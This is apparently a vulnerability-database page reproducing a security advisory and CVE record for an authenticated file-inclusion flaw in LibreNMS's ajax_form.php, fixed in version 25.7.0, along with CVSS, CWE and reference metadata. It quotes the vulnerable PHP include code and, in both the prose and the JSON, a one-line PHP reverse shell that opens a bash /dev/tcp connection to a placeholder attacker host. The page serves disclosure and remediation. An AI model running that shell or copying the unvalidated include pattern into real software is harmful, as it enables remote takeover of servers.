GHSA-GQ96-8W38-HHJ2

Vulnerability from github – Published: 2025-07-21 21:10 – Updated: 2025-07-23 13:37

Summary

LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE

Details

LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

Attacker must be authenticated
Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812

Recommended Fix

Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
Avoid passing raw POST input into include_once.
Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-98"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-21T21:10:51Z",
    "nvd_published_at": "2025-07-22T22:15:38Z",
    "severity": "HIGH"
  },
  "details": "LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists(\u0027includes/html/forms/\u0027 . $_POST[\u0027type\u0027] . \u0027.inc.php\u0027)) {\n    include_once \u0027includes/html/forms/\u0027 . $_POST[\u0027type\u0027] . \u0027.inc.php\u0027;\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path \u2014 for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n\u003e  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated    \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n\u003c?php system(\u0027/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER-IP/4444 0\u003e\u00261\"\u0027); ?\u003e\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).",
  "id": "GHSA-gq96-8w38-hhj2",
  "modified": "2025-07-23T13:37:00Z",
  "published": "2025-07-21T21:10:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/pull/17990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/25.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE"
}

CVE-2025-54138 (GCVE-0-2025-54138)

Vulnerability from cvelistv5 – Published: 2025-07-22 21:33 – Updated: 2025-07-23 18:26

Title

LibreNMS has Authenticated Local File Inclusion in ajax_form.php that Allows RCE

Summary

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-07-23 18:26 UTC

CWE

CWE-98 - Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/librenms/librenms/security/adv…	x_refsource_CONFIRM
https://github.com/librenms/librenms/pull/17990	x_refsource_MISC
https://github.com/librenms/librenms/commit/ec897…	x_refsource_MISC
https://github.com/librenms/librenms/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
librenms	librenms	Affected: < 25.7.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-54138",
                "options": [
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                    "Exploitation": "none"
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                    "Technical Impact": "total"
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                "role": "CISA Coordinator",
                "timestamp": "2025-07-23T18:26:36.521542Z",
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    "cna": {
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        }
      ],
      "metrics": [
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          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
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            "scope": "UNCHANGED",
            "userInteraction": "NONE",
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            "version": "3.1"
          }
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      "problemTypes": [
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          "descriptions": [
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              "cweId": "CWE-98",
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      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-22T21:33:59.149Z",
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      },
      "references": [
        {
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          "url": "https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"
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        {
          "name": "https://github.com/librenms/librenms/pull/17990",
          "tags": [
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    "state": "PUBLISHED"
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

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